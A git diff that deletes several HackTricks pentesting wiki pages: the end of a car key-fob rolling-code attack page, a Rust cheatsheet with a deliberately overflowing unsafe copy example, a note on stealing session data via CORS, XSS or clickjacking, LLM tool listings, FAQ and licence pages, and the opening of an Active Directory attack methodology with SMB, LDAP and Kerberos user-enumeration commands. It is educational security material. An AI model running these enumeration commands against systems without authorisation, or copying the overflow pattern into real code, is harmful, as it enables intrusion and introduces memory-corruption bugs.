-Testing against an aftermarket rolling code system installed on a car, **sending the same code twice** immediately **activated the alarm** and immobiliser providing a unique **denial of service** opportunity. Ironically the means of **disabling the alarm** and immobiliser was to **press** the **remote**, providing an attacker with the ability to **continually perform DoS attack**. Or mix this attack with the **previous one to obtain more codes** as the victim would like to stop the attack asap.
-
-## References
-
-- [https://www.americanradioarchives.com/what-radio-frequency-does-car-key-fobs-run-on/](https://www.americanradioarchives.com/what-radio-frequency-does-car-key-fobs-run-on/)
-- [https://www.andrewmohawk.com/2016/02/05/bypassing-rolling-code-systems/](https://www.andrewmohawk.com/2016/02/05/bypassing-rolling-code-systems/)
-- [https://samy.pl/defcon2015/](https://samy.pl/defcon2015/)
-- [https://hackaday.io/project/164566-how-to-hack-a-car/details](https://hackaday.io/project/164566-how-to-hack-a-car/details)
-
-{{#include ../../banners/hacktricks-training.md}}
-
-
diff --git a/src/todo/rust-basics.md b/src/todo/rust-basics.md
deleted file mode 100644
index 2b279e1c6c6..00000000000
--- a/src/todo/rust-basics.md
+++ /dev/null
@@ -1,441 +0,0 @@
-# Rust Basics
-
-{{#include ../banners/hacktricks-training.md}}
-
-### Ownership of variables
-
-Memory is managed through a system of ownership with the following rules that the compiler checks at compile time:
-
-1. Each value in Rust has a variable that's called its owner.
-2. There can only be one owner at a time.
-3. When the owner goes out of scope, the value will be dropped.
-
-```rust
-fn main() {
-    let student_age: u32 = 20;
-    { // Scope of a variable is within the block it is declared in, which is denoted by brackets
-        let teacher_age: u32 = 41;
-        println!("The student is {} and teacher is {}", student_age, teacher_age);
-    } // when an owning variable goes out of scope, it will be dropped
-
-    // println!("the teacher is {}", teacher_age); // this will not work as teacher_age has been dropped
-}
-```
-
-
-
-### Generic Types
-
-Create a struct where 1 of their values could be any type
-
-```rust
-struct Wrapper<T> {
-    value: T,
-}
-
-impl<T> Wrapper<T> {
-    pub fn new(value: T) -> Self {
-        Wrapper { value }
-    }
-}
-
-Wrapper::new(42).value
-Wrapper::new("Foo").value, "Foo"
-```
-
-### Option, Some & None
-
-The Option type means that the value might by of type Some (there is something) or None:
-
-```rust
-pub enum Option<T> {
-    None,
-    Some(T),
-}
-```
-
-You can use functions such as `is_some()` or `is_none()` to check the value of the Option.
-
-
-### Result, Ok & Err
-
-Used for returning and propagating errors
-
-```rust
-pub enum Result<T, E> {
-    Ok(T),
-    Err(E),
-}
-```
-
-You can use functions such as `is_ok()` or `is_err()` to check the value of the result
-
-The `Option` enum should be used in situations where a value might not exist (be `None`).
-The `Result` enum should be used in situations where you do something that might go wrong
-
-
-### Macros
-
-Macros are more powerful than functions because they expand to produce more code than the code you’ve written manually. For example, a function signature must declare the number and type of parameters the function has. Macros, on the other hand, can take a variable number of parameters: we can call `println!("hello")` with one argument or `println!("hello {}", name)` with two arguments. Also, macros are expanded before the compiler interprets the meaning of the code, so a macro can, for example, implement a trait on a given type. A function can’t, because it gets called at runtime and a trait needs to be implemented at compile time.
-
-```rust
-macro_rules! my_macro {
-    () => {
-        println!("Check out my macro!");
-    };
-    ($val:expr) => {
-        println!("Look at this other macro: {}", $val);
-    }
-}
-fn main() {
-    my_macro!();
-    my_macro!(7777);
-}
-
-// Export a macro from a module
-mod macros {
-    #[macro_export]
-    macro_rules! my_macro {
-        () => {
-            println!("Check out my macro!");
-        };
-    }
-}
-```
-
-### Iterate
-
-```rust
-// Iterate through a vector
-let my_fav_fruits = vec!["banana", "raspberry"];
-let mut my_iterable_fav_fruits = my_fav_fruits.iter();
-assert_eq!(my_iterable_fav_fruits.next(), Some(&"banana"));
-assert_eq!(my_iterable_fav_fruits.next(), Some(&"raspberry"));
-assert_eq!(my_iterable_fav_fruits.next(), None); // When it's over, it's none
- 
-// One line iteration with action
-my_fav_fruits.iter().map(|x| capitalize_first(x)).collect()
-
-// Hashmap iteration
-for (key, hashvalue) in &*map {
-for key in map.keys() {
-for value in map.values() {
-```
-
-### Recursive Box
-
-```rust
-enum List {
-    Cons(i32, List),
-    Nil,
-}
-
-let list = Cons(1, Cons(2, Cons(3, Nil)));
-```
-
-### Conditionals
-
-#### if
-
-```rust
-let n = 5;
-if n < 0 {
-    print!("{} is negative", n);
-} else if n > 0 {
-    print!("{} is positive", n);
-} else {
-    print!("{} is zero", n);
-}
-```
-
-#### match
-
-```rust
-match number {
-    // Match a single value
-    1 => println!("One!"),
-    // Match several values
-    2 | 3 | 5 | 7 | 11 => println!("This is a prime"),
-    // TODO ^ Try adding 13 to the list of prime values
-    // Match an inclusive range
-    13..=19 => println!("A teen"),
-    // Handle the rest of cases
-    _ => println!("Ain't special"),
-}
-
-let boolean = true;
-// Match is an expression too
-let binary = match boolean {
-    // The arms of a match must cover all the possible values
-    false => 0,
-    true => 1,
-    // TODO ^ Try commenting out one of these arms
-};
-```
-
-#### loop (infinite)
-
-```rust
-loop {
-    count += 1;
-    if count == 3 {
-        println!("three");
-        continue;
-    }
-    println!("{}", count);
-    if count == 5 {
-        println!("OK, that's enough");
-        break;
-    }
-}
-```
-
-#### while
-
-```rust
-let mut n = 1;
-while n < 101 {
-    if n % 15 == 0 {
-        println!("fizzbuzz");
-    } else if n % 5 == 0 {
-        println!("buzz");
-    } else {
-        println!("{}", n);
-    }
-    n += 1;
-}
-```
-
-#### for
-
-```rust
-for n in 1..101 {
-    if n % 15 == 0 {
-        println!("fizzbuzz");
-    } else {
-        println!("{}", n);
-    }
-}
-
-// Use "..=" to make inclusive both ends
-for n in 1..=100 {
-    if n % 15 == 0 {
-        println!("fizzbuzz");
-    } else if n % 3 == 0 {
-        println!("fizz");
-    } else if n % 5 == 0 {
-        println!("buzz");
-    } else {
-        println!("{}", n);
-    }
-}
-
-// ITERATIONS
-
-let names = vec!["Bob", "Frank", "Ferris"];
-//iter - Doesn't consume the collection
-for name in names.iter() {
-    match name {
-        &"Ferris" => println!("There is a rustacean among us!"),
-        _ => println!("Hello {}", name),
-    }
-}
-//into_iter - COnsumes the collection
-for name in names.into_iter() {
-    match name {
-        "Ferris" => println!("There is a rustacean among us!"),
-        _ => println!("Hello {}", name),
-    }
-}
-//iter_mut - This mutably borrows each element of the collection
-for name in names.iter_mut() {
-    *name = match name {
-        &mut "Ferris" => "There is a rustacean among us!",
-        _ => "Hello",
-    }
-}
-```
-
-#### if let
-
-```rust
-let optional_word = Some(String::from("rustlings"));
-if let word = optional_word {
-    println!("The word is: {}", word);
-} else {
-    println!("The optional word doesn't contain anything");
-}
-```
-
-#### while let
-
-```rust
-let mut optional = Some(0);
-// This reads: "while `let` destructures `optional` into
-// `Some(i)`, evaluate the block (`{}`). Else `break`.
-while let Some(i) = optional {
-    if i > 9 {
-        println!("Greater than 9, quit!");
-        optional = None;
-    } else {
-        println!("`i` is `{:?}`. Try again.", i);
-        optional = Some(i + 1);
-    }
-    // ^ Less rightward drift and doesn't require
-    // explicitly handling the failing case.
-}
-```
-
-### Traits
-
-Create a new method for a type
-
-```rust
-trait AppendBar {
-    fn append_bar(self) -> Self;
-}
-
-impl AppendBar for String {
-    fn append_bar(self) -> Self{
-        format!("{}Bar", self)
-    }
-}
-
-let s = String::from("Foo");
-let s = s.append_bar();
-println!("s: {}", s);
-```
-
-### Tests
-
-```rust
-#[cfg(test)]
-mod tests {
-    #[test]
-    fn you_can_assert() {
-        assert!(true);
-        assert_eq!(true, true);
-        assert_ne!(true, false);
-    }
-}
-```
-
-### Threading
-
-#### Arc
-
-An Arc can use Clone to create more references over the object to pass them to the threads. When the last reference pointer to a value is out of scope, the variable is dropped.
-
-```rust
-use std::sync::Arc;
-let apple = Arc::new("the same apple");
-for _ in 0..10 {
-    let apple = Arc::clone(&apple);
-    thread::spawn(move || {
-        println!("{:?}", apple);
-    });
-}
-```
-
-#### Threads
-
-In this case we will pass the thread a variable it will be able to modify
-
-```rust
-fn main() {
-    let status = Arc::new(Mutex::new(JobStatus { jobs_completed: 0 }));
-    let status_shared = Arc::clone(&status);
-    thread::spawn(move || {
-        for _ in 0..10 {
-            thread::sleep(Duration::from_millis(250));
-            let mut status = status_shared.lock().unwrap();
-            status.jobs_completed += 1;
-        }
-    });
-    while status.lock().unwrap().jobs_completed < 10 {
-        println!("waiting... ");
-        thread::sleep(Duration::from_millis(500));
-    }
-}
-```
-
-
-### Security Essentials
-
-Rust provides strong memory-safety guarantees by default, but you can still introduce critical vulnerabilities through `unsafe` code, dependency issues or logic mistakes. The following mini-cheatsheet gathers the primitives you will most commonly touch during offensive or defensive security reviews of Rust software.
-
-#### Unsafe code & memory safety
-
-`unsafe` blocks opt-out of the compiler’s aliasing and bounds checks, so **all traditional memory-corruption bugs (OOB, use-after-free, double free, etc.) can appear again**. A quick audit checklist:
-
-* Look for `unsafe` blocks, `extern "C"` functions, calls to `ptr::copy*`, `std::mem::transmute`, `MaybeUninit`, raw pointers or `ffi` modules.
-* Validate every pointer arithmetic and length argument passed to low-level functions.
-* Prefer `#![forbid(unsafe_code)]` (crate-wide) or `#[deny(unsafe_op_in_unsafe_fn)]` (1.68 +) to fail compilation when someone re-introduces `unsafe`.
-
-Example overflow created with raw pointers:
-```rust
-use std::ptr;
-
-fn vuln_copy(src: &[u8]) -> Vec<u8> {
-    let mut dst = Vec::with_capacity(4);
-    unsafe {
-        // ❌ copies *src.len()* bytes, the destination only reserves 4.
-        ptr::copy_nonoverlapping(src.as_ptr(), dst.as_mut_ptr(), src.len());
-        dst.set_len(src.len());
-    }
-    dst
-}
-```
-Running Miri is an inexpensive way to detect UB at test time:
-```bash
-rustup component add miri
-cargo miri test  # hunts for OOB / UAF during unit tests
-```
-
-#### Auditing dependencies with RustSec / cargo-audit
-
-Most real-world Rust vulns live in third-party crates. The RustSec advisory DB (community-powered) can be queried locally:
-```bash
-cargo install cargo-audit
-cargo audit              # flags vulnerable versions listed in Cargo.lock
-```
-Integrate it in CI and fail on `--deny warnings`.
-
-`cargo deny check advisories` offers similar functionality plus licence and ban-list checks.
-
-#### Code coverage with cargo-tarpaulin
-
-`cargo tarpaulin` is a code coverage reporting tool for the Cargo build system
-
-```bash
-cargo binstall cargo-tarpaulin
-cargo tarpaulin              # no options are required, if no root directory is defined Tarpaulin will run in the current working directory.
-```
-On Linux, Tarpaulin's default tracing backend is still Ptrace and will only work on x86_64 processors. This can be changed to the llvm coverage instrumentation with `--engine llvm`. For Mac and Windows, this is the default collection method.
-
-#### Supply-chain verification with cargo-vet (2024)
-
-`cargo vet` records a review hash for every crate you import and prevents unnoticed upgrades:
-```bash
-cargo install cargo-vet
-cargo vet init      # generates vet.toml
-cargo vet --locked  # verifies packages referenced in Cargo.lock
-```
-The tool is being adopted by the Rust project infrastructure and a growing number of orgs to mitigate poisoned-package attacks.
-
-#### Fuzzing your API surface (cargo-fuzz)
-
-Fuzz tests easily catch panics, integer overflows and logic bugs that might become DoS or side-channel issues:
-```bash
-cargo install cargo-fuzz
-cargo fuzz init              # creates fuzz_targets/
-cargo fuzz run fuzz_target_1 # builds with libFuzzer & runs continuously
-```
-Add the fuzz target to your repo and run it in your pipeline.
-
-## References
-
-- RustSec Advisory Database – <https://rustsec.org>
-- Cargo-vet: "Auditing your Rust Dependencies" – <https://mozilla.github.io/cargo-vet/>
-
-{{#include ../banners/hacktricks-training.md}}
diff --git a/src/todo/stealing-sensitive-information-disclosure-from-a-web.md b/src/todo/stealing-sensitive-information-disclosure-from-a-web.md
deleted file mode 100644
index 2fb8aa3d964..00000000000
--- a/src/todo/stealing-sensitive-information-disclosure-from-a-web.md
+++ /dev/null
@@ -1,16 +0,0 @@
-# Stealing Sensitive Information Disclosure from a Web
-
-{{#include ../banners/hacktricks-training.md}}
-
-If at some point you find a **web page that presents you sensitive information based on your session**: Maybe it's reflecting cookies, or printing or CC details or any other sensitive information, you may try to steal it.\
-Here I present you the main ways to can try to achieve it:
-
-- [**CORS bypass**](../pentesting-web/cors-bypass.md): If you can bypass CORS headers you will be able to steal the information performing Ajax request for a malicious page.
-- [**XSS**](../pentesting-web/xss-cross-site-scripting/index.html): If you find a XSS vulnerability on the page you may be able to abuse it to steal the information.
-- [**Danging Markup**](../pentesting-web/dangling-markup-html-scriptless-injection/index.html): If you cannot inject XSS tags you still may be able to steal the info using other regular HTML tags.
-- [**Clickjaking**](../pentesting-web/clickjacking.md): If there is no protection against this attack, you may be able to trick the user into sending you the sensitive data (an example [here](https://medium.com/bugbountywriteup/apache-example-servlet-leads-to-61a2720cac20)).
-
-{{#include ../banners/hacktricks-training.md}}
-
-
-
diff --git a/src/todo/test-llms.md b/src/todo/test-llms.md
deleted file mode 100644
index 63b8eb6d43b..00000000000
--- a/src/todo/test-llms.md
+++ /dev/null
@@ -1,55 +0,0 @@
-# Test LLMs
-
-{{#include ../banners/hacktricks-training.md}}
-
-## Run & train models locally
-
-### [**Hugging Face Transformers**](https://github.com/huggingface/transformers)
-
-Hugging Face Transformers is one of the most popular open-source libraries for using, training, and deploying LLMs such as GPT, BERT, and many others. It offers a comprehensive ecosystem that includes pre-trained models, datasets, and seamless integration with the Hugging Face Hub for fine-tuning and deployment.
-
-### [**LangChain**](https://github.com/langchain-ai/langchain)
-
-LangChain is a framework designed for building applications with LLMs. It allows developers to connect language models with external data sources, APIs, and databases. LangChain provides tools for advanced prompt engineering, managing conversation history, and integrating LLMs into complex workflows.
-
-### [**LitGPT**](https://github.com/Lightning-AI/litgpt)
-
-LitGPT is a project developed by Lightning AI that leverages the Lightning framework to facilitate the training, fine-tuning, and deployment of GPT-based models. It integrates seamlessly with other Lightning AI tools, providing optimized workflows for handling large-scale language models with enhanced performance and scalability.
-
-### [**LitServe**](https://github.com/Lightning-AI/LitServe)
-
-**Description:**\
-LitServe is a deployment tool from Lightning AI designed for quickly and efficiently deploying AI models. It simplifies the integration of LLMs into real-time applications by providing scalable and optimized serving capabilities.
-
-### [**Axolotl**](https://github.com/axolotl-ai-cloud/axolotl)
-
-Axolotl is a cloud-based platform designed to streamline the deployment, scaling, and management of AI models, including LLMs. It offers features such as automated scaling, monitoring, and integration with various cloud services, making it easier to deploy models in production environments without extensive infrastructure management.
-
-## Try models online
-
-### [**Hugging Face**](https://huggingface.co/)
-
-**Hugging Face** is a leading platform and community for machine learning, particularly known for its work in natural language processing (NLP). It provides tools, libraries, and resources that make it easier to develop, share, and deploy machine learning models.\
-It offers several sections like:
-
-* **Models**: A vast repository of **pre-trained machine learning models** where users can browse, download, and integrate models for various tasks like text generation, translation, image recognition, and more.
-* **Datasets:** A comprehensive **collection of datasets** used for training and evaluating models. It facilitates easy access to diverse data sources, enabling users to find and utilize data for their specific machine learning projects.
-* **Spaces:** A platform for hosting and sharing **interactive machine learning applications** and demos. It allows developers to **showcase** their models in action, create user-friendly interfaces, and collaborate with others by sharing live demos.
-
-## [**TensorFlow Hub**](https://www.tensorflow.org/hub) **&** [**Kaggle**](https://www.kaggle.com/)
-
-**TensorFlow Hub** is a comprehensive repository of reusable machine learning modules developed by Google. It focuses on facilitating the sharing and deployment of machine learning models, especially those built with TensorFlow.
-
-* **Modules:** A vast collection of pre-trained models and model components where users can browse, download, and integrate modules for tasks such as image classification, text embedding, and more.
-* **Tutorials:** Step-by-step guides and examples which helps users understand how to implement and fine-tune models using TensorFlow Hub.
-* **Documentation:** Comprehensive guides and API references that assist developers in effectively utilizing the repository’s resources.
-
-## [**Replicate**](https://replicate.com/home)
-
-**Replicate** is a platform that allows developers to run machine learning models in the cloud via a simple API. It focuses on making ML models easily accessible and deployable without the need for extensive infrastructure setup.
-
-* **Models:** A repository of machine learning models contributed by the community which users can browse, try, and integrate models into their applications with minimal effort.
-* **API Access:** Simple APIs for running models the enable developers to deploy and scale models effortlessly within their own applications.
-
-
-{{#include ../banners/hacktricks-training.md}}
diff --git a/src/welcome/about-the-author.md b/src/welcome/about-the-author.md
deleted file mode 100644
index 3b339016668..00000000000
--- a/src/welcome/about-the-author.md
+++ /dev/null
@@ -1,14 +0,0 @@
-# About the author
-
-{{#include ../banners/hacktricks-training.md}}
-
-### Hello!!
-
-Credits for techniques from other researchers belong to the original authors (see references). Kudos to everyone who shares knowledge to improve internet security.
-
-HackTricks is an educational wiki about **cyber-security** led by Carlos with hundreds of collaborators. It's a **huge collection of hacking tricks** updated by the community as much as possible. If you find something missing or outdated, please send a **Pull Request** to the [**Hacktricks GitHub**](https://github.com/hacktricks-wiki/hacktricks)!
-
-HackTricks is also a wiki where **researchers share their latest findings**, so it's a great place to keep up to date with the latest hacking techniques.
-
-
-{{#include ../banners/hacktricks-training.md}}
diff --git a/src/welcome/hacktricks-values-and-faq.md b/src/welcome/hacktricks-values-and-faq.md
deleted file mode 100644
index 8c4e6faf83d..00000000000
--- a/src/welcome/hacktricks-values-and-faq.md
+++ /dev/null
@@ -1,146 +0,0 @@
-# HackTricks Values & FAQ
-
-{{#include ../banners/hacktricks-training.md}}
-
-## HackTricks Values
-
-> [!TIP]
-> These are the **values of the HackTricks Project**:
->
-> - Give **FREE** access to **EDUCATIONAL hacking** resources to **ALL** Internet.
->  - Hacking is about learning, and learning should be as free as possible.
->  - The purpose of this book is to serve as a comprehensive **educational resource**.
-> - **STORE** awesome **hacking** techniques that the community publishes giving the **ORIGINAL** **AUTHORS** all the **credits**.
->  - **We don't want the credit from other people**, we just want to store cool tricks for everyone.
->  - We also write **our own researches** in HackTricks.
->  - In several cases we will just write **in HackTricks a summary of the important parts** of the technique and will **encourage the lector to visit the original post** for more details.
-> - **ORGANIZE** all the hacking techniques in the book so it's **MORE ACCESSIBLE**
->  - The HackTricks team has dedicated thousands of hours for free **only to organize the content** so people can **learn faster**
-
-<figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
-
-## HackTricks faq
-
-> [!TIP]
->
-> - **Thank you so much for these resources, how can I thank you?**
-
-You can publicly thanks HackTricks teams for putting together all these resources publicly in a tweet mentioning [**@hacktricks_live**](https://twitter.com/hacktricks_live).\
-If you are specially grateful you can also [**sponsor the project here**](https://github.com/sponsors/carlospolop).\
-And don't forget to **give a star in the Github projects!** (Find the links below).
-
-> [!TIP]
->
-> - **How can I contribute to the project?**
-
-You can **share new tips and tricks with the community or fix bugs** you find in the books sending a **Pull Request** to the respective Github pages:
-
-- [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks)
-- [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)
-
-Don't forget to **give a star in the Github projects!**
-
-> [!TIP]
->
-> - **Can I copy some content from HackTricks and put it in my blog?**
-
-Yes, you can, but **don't forget to mention the specific link(s)** where the content was taken from.
-
-> [!TIP]
->
-> - **How can I reference a page of HackTricks?**
-
-As long as the link **of** the page(s) where you took the information from appears it's enough.\
-If you need a bibtex you can use something like:
-
-```latex
-@misc{hacktricks-bibtexing,
-  author = {"HackTricks Team" or the Authors name of the specific page/trick},
-  title = {Title of the Specific Page},
-  year = {Year of Last Update (check it at the end of the page)},
-  url = {\url{https://book.hacktricks.wiki/specific-page}},
-}
-```
-
-> [!WARNING]
->
-> - **Can I copy all HackTricks in my blog?**
-
-**I would rather not**. Thats **not going to benefit anyone** as all the **content is already publicly available** in the official HackTricks books for free.
-
-If you fear that it will disappear, just fork it in Github or download it, as I said it's already free.
-
-> [!WARNING]
->
-> - **Why do you have sponsors? Are HackTricks books for commercial purposes?**
-
-The first **HackTricks** **value** is to offer **FREE** hacking educational resources to **ALL** the world. The HackTricks team has **dedicated thousands of hours** to offer this content, again, for **FREE**.
-
-If you think HackTricks books are made for **commercial purposes** you are **COMPLETELY WRONG**.
-
-We have sponsors because, even if all the content is FREE, we want to **offer the community the possibility of appreciating our work** if they want to. Therefore, we offer people the option to donate to HackTricks via [**Github sponsors**](https://github.com/sponsors/carlospolop), and **relevant cybersecurity companies** to sponsor HackTricks and to **have some ads** in the book being the **ads** always placed in places where make them **visible** but **doesn't disturb the learning** process if someone focus in the content.
-
-You won't find HackTricks filled with annoying ads like other blogs with much less content than HackTricks, because HackTricks is not made for commercial purposes.
-
-> [!CAUTION]
->
-> - **What should I do if some HackTricks page is based on my blog post but it isn't referenced?**
-
-**We are very sorry. This shouldn't have happened**. Please, let us know via Github issues, Twitter, Discord... the link of the HackTricks page with the content and the link of your blog and **we will check it and add it ASAP**.
-
-> [!CAUTION]
->
-> - **What should I do if there is content from my blog in HackTricks and I don't want it there?**
-
-Note that having links to your page in HackTricks:
-
-- Improve your **SEO**
-- The content gets **translated to more than 15 languages** making possible for more people to access this content
-- **HackTricks encourages** people to **check your page** (several people has mentioned us that since some page of them is in HackTricks they receive more visits)
-
-However, If you still want the content of your blog to be removed from HackTricks just let us know and we will definitely **remove every link to your blog**, and any content based on it.
-
-> [!CAUTION]
->
-> - **What should I do if I find copy-pasted content in HackTricks?**
-
-We always **give the original authors all the credits**. If you find a page with copy-pasted content without original source referenced, let us know and we will either **remove it**, **add the link before the text**, or **rewrite it adding the link**.
-
-## LICENSE
-
-Copyright © All rights reserved unless otherwise specified.
-
-#### License Summary:
-
-- Attribution: You are free to:
-  - Share — copy and redistribute the material in any medium or format.
-  - Adapt — remix, transform, and build upon the material.
-
-#### Additional Terms:
-
-- Third-Party Content: Some parts of this blog/book may include content from other sources, such as excerpts from other blogs or publications. The use of such content is done under the principles of fair use or with explicit permission from the respective copyright holders. Please refer to the original sources for specific licensing information regarding third-party content.
-- Authorship: The original content authored by HackTricks is subject to the terms of this license. You are encouraged to attribute this work to the author when sharing or adapting it.
-
-#### Exemptions:
-
-- Commercial Use: For inquiries regarding commercial use of this content, please contact me.
-
-This license does not grant any trademark or branding rights in relation to the content. All trademarks and branding featured in this blog/book are the property of their respective owners.
-
-**By accessing or using HackTricks, you agree to abide by the terms of this license. If you do not agree with these terms, please, do not access this website.**
-
-## **Disclaimer**
-
-> [!CAUTION]
-> This book, 'HackTricks,' is intended for educational and informational purposes only. The content within this book is provided on an 'as is' basis, and the authors and publishers make no representations or warranties of any kind, express or implied, about the completeness, accuracy, reliability, suitability, or availability of the information, products, services, or related graphics contained within this book. Any reliance you place on such information is therefore strictly at your own risk.
->
-> The authors and publishers shall in no event be liable for any loss or damage, including without limitation, indirect or consequential loss or damage, or any loss or damage whatsoever arising from loss of data or profits arising out of, or in connection with, the use of this book.
->
-> Furthermore, the techniques and tips described in this book are provided for educational and informational purposes only, and should not be used for any illegal or malicious activities. The authors and publishers do not condone or support any illegal or unethical activities, and any use of the information contained within this book is at the user's own risk and discretion.
->
-> The user is solely responsible for any actions taken based on the information contained within this book, and should always seek professional advice and assistance when attempting to implement any of the techniques or tips described herein.
->
-> By using this book, the user agrees to release the authors and publishers from any and all liability and responsibility for any damages, losses, or harm that may result from the use of this book or any of the information contained within it.
-
-{{#include ../banners/hacktricks-training.md}}
-
diff --git a/src/windows-hardening/active-directory-methodology/README.md b/src/windows-hardening/active-directory-methodology/README.md
deleted file mode 100644
index a91997c278d..00000000000
--- a/src/windows-hardening/active-directory-methodology/README.md
+++ /dev/null
@@ -1,1063 +0,0 @@
-# Active Directory Methodology
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## Basic overview
-
-**Active Directory** serves as a foundational technology, enabling **network administrators** to efficiently create and manage **domains**, **users**, and **objects** within a network. It is engineered to scale, facilitating the organization of an extensive number of users into manageable **groups** and **subgroups**, while controlling **access rights** at various levels.
-
-The structure of **Active Directory** is comprised of three primary layers: **domains**, **trees**, and **forests**. A **domain** encompasses a collection of objects, such as **users** or **devices**, sharing a common database. **Trees** are groups of these domains linked by a shared structure, and a **forest** represents the collection of multiple trees, interconnected through **trust relationships**, forming the uppermost layer of the organizational structure. Specific **access** and **communication rights** can be designated at each of these levels.
-
-Key concepts within **Active Directory** include:
-
-1. **Directory** – Houses all information pertaining to Active Directory objects.
-2. **Object** – Denotes entities within the directory, including **users**, **groups**, or **shared folders**.
-3. **Domain** – Serves as a container for directory objects, with the capability for multiple domains to coexist within a **forest**, each maintaining its own object collection.
-4. **Tree** – A grouping of domains that share a common root domain.
-5. **Forest** – The pinnacle of organizational structure in Active Directory, composed of several trees with **trust relationships** among them.
-
-**Active Directory Domain Services (AD DS)** encompasses a range of services critical for the centralized management and communication within a network. These services comprise:
-
-1. **Domain Services** – Centralizes data storage and manages interactions between **users** and **domains**, including **authentication** and **search** functionalities.
-2. **Certificate Services** – Oversees the creation, distribution, and management of secure **digital certificates**.
-3. **Lightweight Directory Services** – Supports directory-enabled applications through the **LDAP protocol**.
-4. **Directory Federation Services** – Provides **single-sign-on** capabilities to authenticate users across multiple web applications in a single session.
-5. **Rights Management** – Assists in safeguarding copyright material by regulating its unauthorized distribution and use.
-6. **DNS Service** – Crucial for the resolution of **domain names**.
-
-For a more detailed explanation check: [**TechTerms - Active Directory Definition**](https://techterms.com/definition/active_directory)
-
-### **Kerberos Authentication**
-
-To learn how to **attack an AD** you need to **understand** really good the **Kerberos authentication process**.\
-[**Read this page if you still don't know how it works.**](kerberos-authentication.md)
-
-## Cheat Sheet
-
-You can take a lot to [https://wadcoms.github.io/](https://wadcoms.github.io) to have a quick view of which commands you can run to enumerate/exploit an AD.
-
-> [!WARNING]
-> Kerberos communication **requires a full qualifid name (FQDN)** for performing actions. If you try to access a machine by the IP address, **it'll use NTLM and not kerberos**.
-
-## Recon Active Directory (No creds/sessions)
-
-If you just have access to an AD environment but you don't have any credentials/sessions you could:
-
-- **Pentest the network:**
-  - Scan the network, find machines and open ports and try to **exploit vulnerabilities** or **extract credentials** from them (for example, [printers could be very interesting targets](ad-information-in-printers.md).
-  - Enumerating DNS could give information about key servers in the domain as web, printers, shares, vpn, media, etc.
-    - `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt`
-  - Take a look to the General [**Pentesting Methodology**](../../generic-methodologies-and-resources/pentesting-methodology.md) to find more information about how to do this.
-- **Check for null and Guest access on smb services** (this won't work on modern Windows versions):
-  - `enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>`
-  - `smbmap -u "" -p "" -P 445 -H <DC IP> && smbmap -u "guest" -p "" -P 445 -H <DC IP>`
-  - `smbclient -U '%' -L //<DC IP> && smbclient -U 'guest%' -L //`
-  - A more detailed guide on how to enumerate a SMB server can be found here:
-
-
-{{#ref}}
-../../network-services-pentesting/pentesting-smb/
-{{#endref}}
-
-- **Enumerate Ldap**
-  - `nmap -n -sV --script "ldap* and not brute" -p 389 <DC IP>`
-  - A more detailed guide on how to enumerate LDAP can be found here (pay **special attention to the anonymous access**):
-
-
-{{#ref}}
-../../network-services-pentesting/pentesting-ldap.md
-{{#endref}}
-
-- **Poison the network**
-  - Gather credentials [**impersonating services with Responder**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
-  - Access host by [**abusing the relay attack**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)
-  - Gather credentials **exposing** [**fake UPnP services with evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
-- [**OSINT**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/index.html):
-  - Extract usernames/names from internal documents, social media, services (mainly web) inside the domain environments and also from the publicly available.
-  - If you find the complete names of company workers, you could try different AD **username conventions (**[**read this**](https://activedirectorypro.com/active-directory-user-naming-convention/)). The most common conventions are: _NameSurname_, _Name.Surname_, _NamSur_ (3letters of each), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, 3 _random letters and 3 random numbers_ (abc123).
-  - Tools:
-    - [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username)
-    - [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy)
-
-### User enumeration
-
-- **Anonymous SMB/LDAP enum:** Check the [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) and [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md) pages.
-- **Kerbrute enum**: When an **invalid username is requested** the server will respond using the **Kerberos error** code _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, allowing us to determine that the username was invalid. **Valid usernames** will illicit either the **TGT in a AS-REP** response or the error _KRB5KDC_ERR_PREAUTH_REQUIRED_, indicating that the user is required to perform pre-authentication.
-- **No Authentication against MS-NRPC**: Using auth-level = 1 (No authentication) against the MS-NRPC (Netlogon) interface on domain controllers. The method calls the `DsrGetDcNameEx2` function after binding MS-NRPC interface to check if the user or computer exists without any credentials. The [NauthNRPC](https://github.com/sud0Ru/NauthNRPC) tool implements this type of enumeration. The research can be found [here](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf)
-
-```bash
-./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases
-
-nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='DOMAIN'" <IP>
-Nmap -p 88 --script=krb5-enum-users --script-args krb5-enum-users.realm='<domain>',userdb=/root/Desktop/usernames.txt <IP>
-
-msf> use auxiliary/gather/kerberos_enumusers
-
-crackmapexec smb dominio.es  -u '' -p '' --users | awk '{print $4}' | uniq
-python3 nauth.py -t target -u users_file.txt #From https://github.com/sud0Ru/NauthNRPC
-```
-
-- **OWA (Outlook Web Access) Server**
-
-If you found one of these servers in the network you can also perform **user enumeration against it**. For example, you could use the tool [**MailSniper**](https://github.com/dafthack/MailSniper):
-
-```bash
-ipmo C:\Tools\MailSniper\MailSniper.ps1
-# Get info about the domain
